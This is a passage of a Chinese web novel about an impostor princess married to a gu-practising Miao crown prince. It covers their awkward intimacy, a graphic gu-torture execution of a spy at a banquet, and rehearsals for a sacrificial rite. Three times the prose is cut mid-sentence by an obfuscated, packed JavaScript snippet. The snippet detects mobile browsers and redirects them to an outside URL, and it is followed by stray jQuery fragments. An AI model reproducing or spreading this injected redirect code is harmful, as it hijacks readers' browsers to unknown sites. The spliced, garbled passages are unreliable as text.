庄九黎双臂如藤蔓般缠着她的腰,下巴抵在她发顶,双腿还无意识地夹着她的脚踝。昨夜刻意保持的距离早已荡然无存,他几乎是将她当成了人形抱枕。
“放开我。”温萝芙艰难地推搡他的胸膛,声音闷在被子里,“要死了……”
半梦半醒间的庄九黎不但没松手,还无意识地用脸颊蹭了蹭她的发顶。
温萝芙忍无可忍,屈膝便是一记狠踹。
庄九黎僵在原地,脸半掩在锦被间,泛红的眼尾此刻艳得惊人,他像是意识到自己做了什么,张了张口似要解释,最终只是将被子又往上拉了拉。
昨夜是第一次与人同榻,今晨是第二次,他根本不知自己的睡相竟这般失礼。想立刻消失。
“抱歉。”庄九黎彻底清醒了,声音恢复了往日的清冷。他衣襟散乱,露出一片白皙的胸膛,手足无措。
温萝芙揉着被勒红的胳膊,心中还是只有劫后余生的庆幸。
还好庄九黎在抱她的时候控制住了自己身上的蛊毒,没有把她毒死。(她牢牢的记着这个设定。)
温萝芙突然想起什么,眯起眼睛:“你该不会……”
某些不可言说的猜测浮上心头。
那种事情不可以的吧。
“不是。”庄九黎慌乱打断她,结果不小心被呛到,咳得眼泛泪花,“我没有。”
“哪个?”温萝芙故意恶狠狠地逗他,也不知道两个人说的是不是同一个东西。
庄九黎的辩解戛然而止。他垂下头,长发遮住通红的脸颊:“只是想抱抱你。”
真是败给他了。
但你知道的,你得学会欲擒故纵。
不然给予之后,可能是得寸进尺的索取。
“听着,”温萝芙竖起一根手指,“往后要抱我,要经过我的允许。”
庄九黎食髓知味的点头。
“过来。”温萝芙叹了口气,张开手臂。
庄九黎眼底的光突然亮起,却又迅速暗了下去:“可以吗?”
“就一下。”温萝芙凶巴巴地补充,“而且不准勒太紧!有了拥抱,其他的就不行了。”
只是一个拥抱就够了。
下一秒,她就被扑了个满怀。
庄九黎几乎是虔诚地靠近,像只大型猫科动物般,将她严丝合缝地圈在怀中。他的心跳又快又急,明明渴求温暖,又恐惧自己的贪婪会玷污这份触碰。
温萝芙意外地发现,这个拥抱其实还不赖。庄九黎身上有阳光晒过草药的清香,恰到好处地驱散晨寒,仿佛天生就该与她骨血相融。
很多人类喜欢拥抱。拥抱会分泌催产素。
这种被激素能降低压力水平,如春风化雨,让人产生安全感和依恋感。
不过,庄九黎是不是太喜欢抱抱了?
“庄九黎,”她戳了戳他的腰,庄九黎敏感的一缩,“你是不是……”
就那个,皮肤饥渴症。
话未说完,门外突然传来急促的敲门声:“殿下!祭山大典的祭品出了状况!”
庄九黎瞬间恢复了平日的冷峻。他松开温萝芙,迅速整理好衣袍:“我马上来。”
转身前,他犹豫了一下,看向自己的妻子。
温萝芙不解其意,用眼神示意他速速离去。
……
庄九黎走后,温萝芙坐在镜台前,自行梳妆打扮。
镜中人的轮廓渐渐与长宁公主的画像重叠,将眉峰抬高,鼻翼收窄一线,唇线勾勒得更加饱满矜贵
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611973|172151||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
侍女沉香捧着日程册子进来,屈膝唤道:“公主……”
“念吧。” 温萝芙停下手中的动作,目光从镜中望向沉香,吩咐。
沉香展开册子,有条不紊地念道:“辰时二刻,王后邀请银器坊的匠人为您量身定做银饰;巳时初,女官会来教您熟悉苗疆的习俗,以及王宫内各殿方位;未时各寨长老会在议事厅商议旱季治水之策,王上荐您列席。申时三刻王后特意安排了茶会,让您熟悉王室女眷;酉时末,王上设家宴,届时各部族首领也会出席。”
温萝芙听得头都大了,再次在心里后悔怎么没有多要点钱。
她揉了揉发胀的太阳穴:“记下了,对了,给我准备一份苗疆地图,我要提前熟悉下王都周边的地形。”
先用合理的借口拿到了地图再说。
沉香微微颔首:“是。”
这一日如走马灯般飞速掠过。
辰时二刻,银匠们带着繁复精美的设计图与沉甸甸的银块上门,量尺寸、绘纹样;巳时初,女官滔滔不绝地讲述苗疆禁忌与宫殿布局,她一边听一边在心里默默记诵;未时的治水议事会上,她作为新面孔列席,听着长老们激烈争辩,努力从方言口音中捕捉关键信息;申时三刻的茶会,王室女眷们或好奇或审视的目光如芒在背,她赔着笑应对那些试探性的问题。
夜幕降临,温萝芙换上苗疆华服,前往晚宴。
宴厅内金樽交错,琼筵正酣。
可惜,刚一进门,温萝芙就听见一声凄厉的惨叫。
但见庄九黎玉指间悬着一尾赤色蛊虫,其色如凝血,其形似游丝。
地上蜷缩着一个西域商人打扮的男子。
男子的皮肤下似有活物游走,整个人在地上翻滚抽搐,口中不断发出痛苦的呜咽。
南诏王楼冥庄高坐主位,神色冰冷:“西域人总学不乖。”
他挥了挥手,一旁的侍卫立刻上前,将那男子强行按在地上。
楼冥庄拿起案几上一卷泛黄的羊皮纸,抖开后露出上面密密麻麻的标记:
“三个月前,你伪装成贩卖香料的商人进入南诏,以低价抛售货物结交各部族首领,实则是为了收集情报。”
“你故意在商队歇脚的酒馆中散播谣言,挑起各寨对赋税分配的不满,导致半月前青崖寨与赤沙寨爆发冲突。”
他猛地将图纸甩在男子脸上,继续说道:“你每晚借着观星之名,试图与境外的敌军暗哨联络,将南诏兵力部署、粮草储备等机密尽数送出。你以为深夜无人察觉?不过是我们故意引蛇出洞。”
那男子面如死灰,颤抖着辩解:“王上,小人冤枉……”
“冤枉?”
楼冥庄朝庄九黎抬了抬下颌:“让他把同党和盘托出。”
那少年王储指尖轻转,手中的蛊虫突然发出刺耳的尖啸,原本小指长的虫子瞬间胀得通红。
它扭动着黏腻的身躯,顺着男子脖颈的皮肤缝隙钻了进去。
男子顿时七窍流血,双手死死抓挠自己的脸,很快就抓出了道道血痕。
蛊虫所迫,他很快就逼得将境外势力如何渗透、还有哪些部族被收买的细节全抖了出来。
待到这奸细最后一丝生气散尽,庄九黎捻起染血的指尖,慢条斯理地用帕子擦拭,连眉头都未曾皱过一下,仿佛刚才只是碾死一只蝼蚁。
眼前的惨状比温萝芙见过的任何酷刑都可怖。
她看着地上那具不成人形的尸体,只觉得胃部翻涌。
这是温萝芙第二次,见到杀人。
8. 第 8 章
周围的部族首领们皆屏息沉默,无人敢出声,面上也不敢露出分毫惧意。
庄九黎神色恹恹,在烛火映照下仿若修罗。
他抬头环视四周,目光所到之处,满座权贵尽皆俯首。
突然,他在人群尽头看见了温萝芙。
少女身着深紫色的苗疆华服,头发乖巧地被梳成两络,头顶上像小兔子一样盘着双髻。
她轻咬嘴唇,眼中是藏不住的害怕——那眼神缓慢地刺进庄九黎的心口。
他突然觉得指尖的血迹变得滚烫,心也滚烫。
——她看见我杀人的样子了。
这本该是再平常不过的事,处决细作、惩戒叛徒。
迟早会有这么一天,她迟早会见到自己这样的一面。
可他从未想过会在这样的场合遇见她。今日虽称家宴,实为刑场,本该只有各部首领列席。
她为何会出现在这里?也许是父王邀请她前来。
她会怎么想?他本就是这般残忍的、恶毒的、满手鲜血的人。
可是……
【唯独不想让她看见这样的自己。】
大殿里的安静得针落可闻。庄九黎看见温萝芙的手指紧紧揪住衣角,眼里熟悉的恐惧和其他所有人看他的眼神一样。那曾映着他月下身影的眸子,此刻只剩一片骇然。
或许两人曾有四目相对的机会。
但庄九黎只是在温萝芙看向自己的瞬间,目光到她发梢的距离清零。
“大周长宁公主到了?”南诏王楼冥庄突然开口,“让公主见笑了。我们正好抓住一个西域探子。”
温萝芙勉强扯出一个笑容:“王上言重了。”
她缓步走向席间,在庄九黎身侧落座时,不着痕迹地往旁边挪了挪,划出一道无形的界限。
两人的手垂在锦垫之畔,相隔不过一指。庄九黎盯着那咫尺的距离,喉间发紧。
他想告诉她刚才那个人是敌国细作,是威胁南诏安危的祸患——所以,他在做【正确】的事情。
可胸腔里躁动的心跳震得他耳膜生疼。
他便厌恶起这般方寸大乱的自己。
指甲深深掐进掌心,却压不住心中那股灼热的刺痛。
他像一个从黑暗里被捞出来的人,却在睁眼的第一刻被阳光灼伤,那光线太亮、太烫,烧得他五脏六腑都在抽搐,仓皇间只想重归永夜。
为何?为何仅仅是坐在她身侧就让他如此焦灼难安?
究竟从何时起,他变得如此患得患失?
说到底他为什么会如此焦虑、如此难耐?
皆因眼前之人。
她是他的妻子,他是她的丈夫,天地为证,天经地义。
明媒正娶的妻子,本该肌肤相亲的良人。
宴席间,庄九黎木然咀嚼着珍馐,却尝不出半分滋味。
他的全部感官都扭曲着聚焦在温萝芙身上。
她夹菜时衣袖滑落露出的手腕,低头时垂在颊边的一缕发丝,还有偶尔因为烫到而微微吐出的舌尖。每一个细节都像毒药般侵蚀着他的理智。
越是压抑,便越想将她拥入怀中。
肌肤相贴,感受那温度。
想要抓住她,想要将她死死按进怀里。
想要用最直接的方式确认她的存在。
不要躲避他。
是否那温香软玉能消融他所有的惶恐与自我厌弃?
肌肤相贴的温度能否吞噬他心底的黑暗?
不。不行。
现在不行。
不合时宜。
要得到允许。
庄九黎感到口干舌燥,血液在血管里沸腾,每一寸皮肤都在叫嚣着渴望触碰。
温萝芙盯着案几上的银杯,杯壁上倒映出庄九黎模糊的侧脸。
那西域人皮下蠕动的蛊虫仿佛又浮现在眼前,凄厉的哀嚎犹在耳畔回荡。
如果庄九黎知道她是冒牌货……
自己可能死得会更惨。
原先盘算着虚与委蛇换取生路的念头,此刻如泡沫般碎裂。
她不得不承认,眼前这个能面不改色施以极刑的储君,与昨日那个会对她温柔低语的少年,本就是同一人。
眼下只能走一步看一步,戏要继续演,心却要筑起更高的墙。
温萝芙知道,庄九黎能这样面无表情的处刑他人,自然也能这样对待自己。
他对她的温柔只是偶然,而偶然并不意味着特别。
换作真正的公主在此,他或许亦会如此相待。
她必须逃。
“公主。”庄九黎突然低声唤她,声音里缠着几分难言的涩意。
温萝芙脊背一僵,强忍着没有躲开:“殿下有事?”
庄九黎目睹她戒备姿态,最终只是摇了摇头。
那未能出口的辩解,在铁一般的事实面前显得如此苍白——他确实,用残酷的方式终结了一条性命。
宴席间,温萝芙机械地举杯应酬,脑子里飞快盘算着逃跑计划。祭山大典在即,正是她摸清苗疆地形的最佳时机。
“长宁公主似乎心不在焉?”南诏王的声音突然传来。
温萝芙心头一跳,旋即展颜:“只是见这满殿银饰,想起大周宫中的器皿,不免有些思乡。”
她旋即端起酒杯浅笑:“不过南诏待客之诚,倒叫我生出恍如归家之感。”
南诏王瞥了她一眼,笑道:“公主且宽心,很快你就会把南诏当成自己的家。”
话音未落,他抬手示意众人安静,端起酒盏朗声道:
“今得大周明珠,实乃天赐良缘。往后愿两邦永缔秦晋之好!”
说罢便仰头将酒一饮而尽。
温萝芙起身盈盈行了一礼:“承蒙王上抬爱,大周国与南诏情谊深厚,往后我定当尽心为两邦和睦尽绵薄之力,愿两邦情谊如日月长明。”
群臣纷纷举杯向温萝芙致意,她一一回敬,酒液入喉却如火烧。
庄九黎沉默地举杯,却只是盯着自己的酒杯发呆,偶尔与她目光相撞便迅速移开。
宴会上众人推杯换盏的喧闹声渐弱时,南诏王问道:“坊间皆道触我儿者非死即伤。可长宁与九黎相处无恙,依公主之言,这传言究竟是真是假?”
温萝芙心下了然——这是要借她之口为庄九黎正名。
传闻中南诏王楼冥庄为夺权不择手段,甚至将亲生儿子投入祭坛炼蛊,从而造就了庄九黎“人身蛊皇”的凶名。此刻要她当众辟谣,是想借她大周公主的身份,以及与庄九黎新婚燕尔,为当年罪孽洗白。
她心
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15611974|172151||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中仍保留目睹庄九黎杀人的膈应,面上却浮起柔婉笑意:“市井流言不过无稽之谈。九黎殿下承南诏气运,自有神明庇佑。”
温萝芙望向庄九黎紧绷的侧颜,终是主动靠近。
她敛眸:“若能以我一人之举,破除无端谣传,为两邦和睦添砖加瓦,更是我此生一大幸事。”
“就由我——”她抬高声音,“证明给诸位这传言是真是假吧。”
在满座哗然中,她猛地攥住庄九黎的手腕。
庄九黎浑身剧颤,下意识要抽手,却被她十指紧扣。
“诸位可看真切了?”温萝芙举起两人交握的手,“流言止于智者。”
庄九黎的掌心滚烫,脉搏快得吓人。
温萝芙能感觉到他在极力克制着什么,但愿不是蛊毒。
南诏王抚掌大笑,眼中难掩满意之色:“好个大周公主,果然有胆魄!”
他再次端起酒盏遥遥一敬,“替九黎洗净污名,为两邦盟约再添一桩佳话,本王敬你!”
席间死寂片刻,忽如沸水煮开般炸开对王上与公主的恭维。
有寨主想起曾亲眼目睹冒犯庄九黎者化作枯尸,七窍涌出蛊虫的可怖场景,此刻却见公主安然无恙,惊得手中酒盏险些跌落。年轻贵族们率先反应过来,纷纷高呼赞颂声,觥筹交错声再起。
温萝芙已经坐下,南诏王眯起眼睛转向庄九黎,“既然公主无恙,你为何还站着?”
庄九黎这才如梦初醒般坐下,却仍紧握着温萝芙的手不放。
她试着抽手,反被他修长的手指缠得更紧。抬眼望去,只见少年低垂的睫羽在烛光下投落一片阴影。
“公主好胆识。不过……”王后影昙华突然冷笑,她意有所指地看向两人交握的手,“九黎素日便是这般脾性,公主可还适应?”
温萝芙听出了弦外之音,这话像是在警告她别太亲近庄九黎,虽然她没有感觉到王后对她的敌意。
她趁机抽回手,从容整理袖口:“多谢母后挂怀。夫妻之间,贵在相敬如宾。”
余光里,她看见庄九黎的手缓缓蜷起。少年低着头,墨发掩去神情,只有袖口露出的银铃在轻轻颤动。
宴会结束时已是深夜。
残烛泪尽,殿外月色如洗。
温萝芙起身告退,却见庄九黎仍坐在席间,夜风穿堂而过,她叫住他:“要一起回去吗?”
于是,两人并肩而行,却仿佛隔着一道无形的墙。
庄九黎蓦地驻足,温萝芙猝不及防撞上他的后背。
他的声音闷在温萝芙肩头:“方才之事多谢。”
他想,自己大抵是病了。
比以往的每一次都更加强烈。
每一寸肌肤都在灼烧,每一个毛孔都在叫嚣着渴望触碰。
理智将他钉在原地。想靠近,想确认她眼中是否藏着厌恶,想再次牵起她的手,想闻她发间的香气。
庄九黎的目光如蜻蜓点水般掠过身侧之人。
月光描摹她清辉容颜,皎皎胜过天上月,发间珠钗轻晃,两人近在咫尺,却似隔了万重云山。
这不对劲。庄九黎盯着地上的影子想。
他从未对任何人产生过这般陌生的冲动——是因礼法所定的夫妻称谓?还是因为……她是第一个?
9.第 9 章
温萝芙:“你为什么突然停下?”
庄九黎心不在焉道:“抱歉。”
温萝芙:“没事。”
沉默在两人之间蔓延。
不能再这样下去了。
“庄九黎。”温萝芙突然开口,“我不喜欢看你杀人的样子。”
这句话说出口后,温萝芙生怕惹怒了庄九黎,她知道自己此刻的言行与“暴虐成性”的长宁公主形象相去甚远,那位公主并不像会因杀人手法而惊惧的人。
她偷眼望去,只见庄九黎宛如一尊玉面修罗,瓷白的肌肤近乎透明,唇色淡得几乎看不见。幽蓝双眸微微黯然。
“我并非质疑你处置细作的正当性。”温萝芙斟酌着词句,“但你杀人的手法对我来说,有点吓人了。”
她想起那个细作皮肤下蠕动的蛊虫,想起凄厉的惨叫,胃部又是一阵翻涌。
作为一个穿越而来的现代人,这种血腥场面实在超出了她的承受范围,简直要留下心理阴影。
偏偏这种事还发生在吃饭的时候,她估计一段时间都不会吃任何红色的肉了。
“我明白了。”庄九黎说,“以后……不会让你看见。”
温萝芙松了一口气:“那就好。你只要别让我看见就好。”——只要别让她亲眼目睹,更别用这种手段对付她就好。
庄九黎突然莫名其妙来了句:“那现在能抱一下么?”
他顿了顿,又补充:“抱歉。”
温萝芙以为他还在为方才的血腥场面道歉,便大方地点头:“无妨。只要你答应不再让我看见就好。”
庄九黎终于得偿所愿,双臂一展便将温萝芙紧紧拥入怀中。
如同溺水之人抓住浮木。
温萝芙被他抱得双脚几乎离地,鼻尖撞上他胸前冰凉的银饰,凉意沁人。
“轻、轻点。”温萝芙拍了拍他的后背,声音闷在他衣襟里。
庄九黎这才如梦初醒般松了松手臂,他把脸埋进她颈窝,深深吸了一口,像是要把她的气息刻进肺里。
好温暖。
他从未想过,一个人的体温竟能带来如此强烈的慰藉。
那些因她而起的焦躁、不安、自我厌恶,都在相触的瞬间被抚平。
他不知道这世上有个词叫“生理性喜欢”,不懂什么叫做多巴胺与血清素的分泌,只知道此刻抱着她,如久旱逢甘霖,似孤舟归港湾。
温萝芙能感觉到他的心跳渐渐平稳下来,犹豫了一下,还是轻轻回抱住他。这个拥抱不带任何旖旎心思。
她并不知道庄九黎煎熬的内心,只是仍在纳闷对方太过于喜欢拥抱这件事。
如果在现代,庄九黎一定是付费拥抱的忠实客户……
“好了吗?”她问。
庄九黎点了点头,贪恋地又抱了一会儿,才依依不舍地松开手。
月光下,他眼尾赤纹重焕艳色,方才的苍白脆弱一扫而空,整个人如获新生。
“回去吧。”温萝芙理了理被他弄乱的衣襟,“明天你要教我祭典事宜,我可不想在众人面前出丑。”
庄九黎亦步亦趋地跟在她身后,直到将她送到寝殿门口。
临别前,他突然拽住她的袖角:“我……”
“嗯?”温萝芙回眸。
“我以后,”他字字郑重,“会做个更好的人。”
温萝芙一怔,不太懂,于是笑了:“你本来就不算坏人。”
她第三次补充道:“只要别让我看见那些杀人画面。”
“我保证。”庄九黎郑重其事地点头。
看着他这副模样,温萝芙心里没有波动是假的,但她知道自己迟早要离开,这些承诺终将成空。
说实话,她对庄九黎还有些怨而不憎。倒不是针对他本人,只是针对处境与身份。
于是她只是轻轻点了点头:“晚安,庄九黎。”
庄九黎:“今天不一起睡觉吗?”
虽然知道这个睡觉就只是非常普通的、字面意义的睡觉,可温萝芙每次都觉得对方很语出惊人。
她今天也不想管庄九黎到底会睡在哪里:“不要。”
“好吧。晚安。”少年站在月光下,目送她关上房门,又在原地停留了许久才离开。
……
一夜无梦。
温萝芙早早起身,对着铜镜梳妆打扮,把自己化成真正的长宁公主的样子。
今日的日程颇为简单,不过是让庄九黎教授祭山大典的筹备事宜。
不知为何,她想起在现代博物馆看到的那些与祭祀有关的青铜器。印象深刻的一个是描绘着两个俘虏被倒挂在断头台上的场景,另一个则是将头骨放在鼎中烹煮的恐怖画面。
“应该不会有这些环节吧?”她小声嘀咕着。
“什么环节?”庄九黎的声音突然从身后传来。他不知何时已站在门口,手里捧着一卷竹简。
温萝芙回首:“就是这个祭山大典,应该没有把人倒挂着处死,或者煮头骨之类的习俗吧?”
庄九黎困惑地眨了眨眼:“为什么要煮头骨?”
“我在古籍上看到的。”温萝芙含糊其辞,“说有些祭祀会用活人。”
“南诏早废人祭。”庄九黎摇头,展开竹简给她看,“那是千年前滇国的习俗。”
温萝芙凑近细看,竹简上朱砂绘制的仪程确实庄重祥和,并无半分血腥。她不禁为自己的误解赧然。
南诏人深信祖灵庇佑后人。祭山大典上,族人将以鼓乐歌舞向先祖禀告子孙近况,祈求福泽。此外,他们更信万物有灵,需敬奉山神水伯,祈愿风调雨顺、五谷丰登。
大典分为三仪:
其一为请鼓下山,以沉厚鼓声召唤远居东方的祖灵;
其二为献舞祈福,苗疆百姓们着彩衣跳神舞、唱古歌、饮酒设宴。
其三为送鼓上山,将圣鼓恭送回山巅祖庙。
“你负责点燃圣火。”庄九黎指向其中一段,“很简单,只要拿着火把走到祭坛中央就好。”
“只是在走进祭坛前有一段舞蹈。我一会教你。”
他的指尖在竹简上轻轻划过,温萝芙注意到他手腕内侧新增了几道细小的伤口,想必又是试毒留下的。
庄九黎拉下袖口,转移话题:“我先教你祭祀舞的步伐。”
两人来到一座庭院,院子里几株野海棠开得正艳,粉白的花瓣随风飘落,铺了一地碎玉。庄九黎立于花雨中示范舞步,修长身影在纷扬花瓣间若隐若现,银饰随着旋转发出清脆的声响,动作行云流水。
“先学基本步伐。”他示范了一个转身,“这样,然后这样。”
温萝芙有一定的舞蹈基础,她穿越前为拍短视频及时蹭热度,常要速成各种舞蹈动作。
她试着跟随节奏,几个回合下来竟也像模像样。
她学得极快,旋转时裙裾飞扬,宛如惊鸿照影,轻盈无比。
这位大周来的公主,和他在见到她前想象的完全不一样。庄九黎想。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15614694|172151||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
传闻中的长宁公主骄纵任性,可眼前的人却丝毫没有娇生惯养的样子。无论是学舞时的专注,还是面对陌生环境时的从容,都透着一股说不出的韧劲,不像是温室里温室里精心栽培的牡丹。
柔而不弱。
庄九黎正看得出神,忽然感觉袖口微微一动。
小九和小黎不知何时探出了脑袋,两双蛇眼直勾勾地盯着温萝芙翩跹的身影。
白蛇小黎昂起头,随着温萝芙的舞步轻轻摆动,仿佛在给她打节拍;黑蛇小九则吐了吐信子,尾巴尖轻轻拍打庄九黎的手腕,生动形象的表达了自己赞美之情,并要求庄九黎转告给对方。
“小九小黎说你很厉害。”庄九黎在小蛇的撒娇下如实告知。
温萝芙正踮着脚尖转圈,闻言若无其事地笑道:“大周女子六艺皆通,跳舞算什么?”
她语气骄矜,眼神却闪烁了一下。
原本的长宁会跳舞吗?
她不知道,不过这里只有她和庄九黎两个人,就算露馅了也问题不大。
庄九黎没有追问,只要她在身边,就够了。
温萝芙提了提裙摆,扫落几片海棠花瓣,她转移话题问:“那你呢?你在祭典上也要跳这支舞吗?”
庄九黎微微摇头:“是万蛇之舞。”
“万蛇之舞?”温萝芙好奇道,“那是什么样子的?”
“其实与你方才的舞步有呼应之处。只是现在不便展示。”庄九黎说,“那是献给蛇神,与神对话的舞。”
——万蛇之舞,也是祈祝之舞。
百年前,白蛊族最优秀的巫祝爱上了蛇神。
“神明啊,要如何才能剖白我的爱意?”巫祝如是问。
蛇神言:“若要表达你的爱,那便献上你的心吧。”
月轮升至中天时,巫祝真的剖开了自己的胸膛,求蛇神庇佑苗疆百年风调雨顺。
人类失去了心脏,怎么还能活下去呢?
可蛇神不明白,祂从未想过,人类的心竟如此易碎,祂埋怨巫祝,为何如此轻易的舍祂而去?
祂不理解自己的爱人为何要舍弃生命。如果需要,巫祝只需要向祂献上最赤忱的爱,祂一样会庇护子民。
祂所需要的从来不是鲜血淋漓的心脏,而是心中那虚无缥缈、不可称量的爱。
“蠢物!”蛇神的嘶吼震得山岳动摇,“吾要的是你眼中星、鬓边雪,谁要你这带血的肉块?”
于是祂在巫祝魂飞魄散之际,将其魂魄钉在祭坛。既是惩罚巫祝的决绝,也是警示自己的轻慢。
每年祭山之日,巫祝的困于人世魂魄就要被天雷劈散一次——万蛇之舞,便是重现巫祝当年献祭的模样,以此作为锚点固定巫祝的魂魄。
*
庄九黎想,那支舞过于赤\裸了。戴着傩面起舞时,所有伪装都会被剥落。
渴望被爱又误解难消,虔诚祈祷却又满手血腥。让她看见那样的自己有些羞于启齿。
“至少要准备傩面、骨铃和蛇。”他解释道,“现在不合适。”
“好吧。”温萝芙回答,“那祭典当天,我总能看了吧?”
听完蛇神的故事后,温萝芙的评价是:长嘴不用。
故事中的两个主角本来就有物种隔离了,还要玩文字游戏,这不就BE了吗。
庄九黎伸手拂过她鬓边,温萝芙这才发现一片花瓣不知何时落在发间。
“到那时,”他收回手,“你别怕我就好。”
10.第 10 章
入夜,温萝芙已将祭典仪程熟记于心。庄九黎教得细致,从献祭方位到祝祷手势,无一不讲解透彻。两人闲谈时,她得知南诏六诏皆会遣使前来观礼,更有大周高僧为塑妙香佛国,专程赴会。
言语间,她对这场大典的期待愈发浓烈。
听闻有大周使者参与,她也暗自警醒:在这关键时刻,定要谨言慎行,绝不能露出丝毫破绽。
七日一晃而过,转眼间就到了祭典前夜。
温萝芙与庄九黎相伴走在回住处的途中。四周静谧,唯有他们的脚步声在石板路上回响。
突然,温萝芙眼角余光瞥见一个熟悉的身影在树梢间一闪而过——是暗卫十七!
她心中一喜,猜测是是寄给素月的信有回信了。
温萝芙不动声色的对庄九黎说道:“你先回去吧,我突然想起有点事要处理。”
庄九黎轻轻点头,转身离去。
待庄九黎的背影消失在夜色中,温萝芙迅速朝着暗卫十七消失的方向追去。
拐过几重回廊,在一处荒废的偏院角落,十七的身影从暗处闪现,递来一封火漆封缄的信笺。
“素月姑娘的回信。”十七半边脸隐在黑暗里,“未拆。”
温萝芙迫不及待地接过,借着微弱的光源展开信纸。信纸上的字迹工整,是带着几分生疏的笔触。
信中写道:
“阿芙,展信佳。来信已阅。
“姑娘所留银钱尽数收妥,得知你在外一切安好,我便放心了。那些债主我已应付过去,你无需挂念。只是没有你的日子,院子里显得格外冷清。我每日都会去你叫来的医生那看病,却总觉得少了些什么。”
“宅院已修葺一新,花木俱栽,盼你早日归来。”
温萝芙看完信,眼眶微微泛红,嘴角却不自觉地上扬,这是她第一次与素月通信,看来对方还平安。
暗卫十七的目光在她泛红的眼角掠过,眼中闪过一丝几不可察的怜悯,他语气依旧冷硬:“记住你的身份。想活着回大周,就别动那些不该有的心思。”
温萝芙还沉浸在收到回信的喜悦中,心情大好,听了警告也是笑意盈盈:“十七大人说笑了,我不过是个替嫁的冒牌货,哪敢有什么非分之想?”
非分之想?自然是有的。她在心底悄悄补上一句。
她指尖轻轻划过信纸上的字迹,抬头望向暗卫,试探着问:“只是素月自小与我相依为命,若能多通几封信,也算聊慰相思。大人能否……再帮我一次?”
暗卫十七叹了口气。
他也不知道自己为什么这么做。
天气逐渐转凉,很快便要入冬。或许是看着眼前女子眼中闪烁的期盼,他想起了自己年幼时替妹妹偷烙饼被打断手指的夜晚,即使那记忆已经久远到模糊不清,而他的妹妹也在那夜饿死街头。
“下不为例。”他的语气稍微缓和了些,“且把想说的话写在绢帛上,我自会找机会带出苗疆。”
十七说罢转身欲走,温萝芙对着他的背影鞠了一躬:“多谢十七大人。”
暗卫十七没有回头,只是抬手挥了挥,转眼间就消失在树丛中。
温萝芙回到寝殿,轻轻合上门扉。
烛火摇曳,她小心翼翼地从怀中取出那封信,指尖在信纸上摩挲了片刻,才将它放进妆奁最底层的暗格中。
在合上暗格之前,她的目光落在了旁边那枚鱼形玉佩上,那是长宁公主给她的假死信物,莹白的玉身在烛光下泛着冷冽的光。
长宁公主真的会如约接应我吗?
这个念头一闪而过,温萝芙自嘲地摇了摇头。与其把性命交到别人手里,不如靠自己。
她宁愿做一个痛苦而强大的人,也不愿做一个痛苦而弱小的人。
她取出一方素绢,提笔蘸墨,思索片刻后写道:
“阿月:来信已收,甚慰。我最近在准备祭典,有些忙碌。近日听闻京城多事,你暂且小心,若有人问起我,你便说早已与我断了联系。”
写到这里,她顿了顿,又添上一句:
“记得把我那件杏色襦裙的腰封改宽些。”
旁人只当是闺中琐碎,唯有素月知道,这是她们约定的 “危险信号”。
去年夏季,她们被债主追到破庙时,温萝芙的腰封就是被素月故意扯松的——这样跑起来不会勒着肚子。后来每次遇到危险,她们就说要“改腰封”。更为重要的是,现在即将由秋转冬,她若非有意,怎会平白无故要求裁剪夏装?
温萝芙将绢帛折好,却没有立即封口。
她不确定这封信会不会被人拆看,所以得用暗号来表达,但愿素月能理解她的含义,也循序渐进的搬离京城——那真正的长宁公主所能涉及之处。
门外传来有人敲门的声音。
温萝芙以为是庄九黎来邀请自己要不要一起睡,开门一看,却是沉香。
沉香手捧一件绣满银线图腾的华服站在门外,脸上带着温和的笑意:“公主,这是明日祭典要穿的礼服,奴婢特来让您试试合不合身。”
温萝芙侧身让她进来,沉香将礼服轻轻摊开在床榻上。
那衣裳以靛青为底,衣襟和袖口绣着繁复的花纹,腰间缀满银饰,一动便会发出清脆的声响。
“真漂亮。”温萝芙由衷赞叹。
沉香笑了笑,一边帮她整理衣饰,一边闲聊道:“我弟弟小时候最讨厌穿这些繁琐的礼服,每次都要阿妈拿着藤条在后面追着才肯穿。”
温萝芙想象了一下那个画面:“这些衣服穿上去确实有些麻烦。”
沉香的眼神忽然黯了黯:“是啊,可惜我弟弟已经死在了祭坛里。”
温萝芙想起曾在庄九黎的传闻中听到这个词:“祭坛?”
沉香像是下定了决心般说道:“奴婢的弟弟……当年和九黎殿下一起被送进了祭坛。九十九个蛊童,只活下来殿下一人。”
听闻此言,温萝芙手上的动作停了下来。
“王上也是狠心。”沉香的声音轻得像是怕被谁听见,“连亲生儿子都舍得拿来炼蛊。不过……”她顿了顿,“他坐上王位时,兄弟反目,叔伯下毒,连枕边人都想害他。或许他是真的怕了,才想让殿下练成蛊神体,百毒不侵吧。”
这不就是家长经常用的那套,我是为你好。温萝芙想,难怪没听说南诏王有什么兄弟叔父。
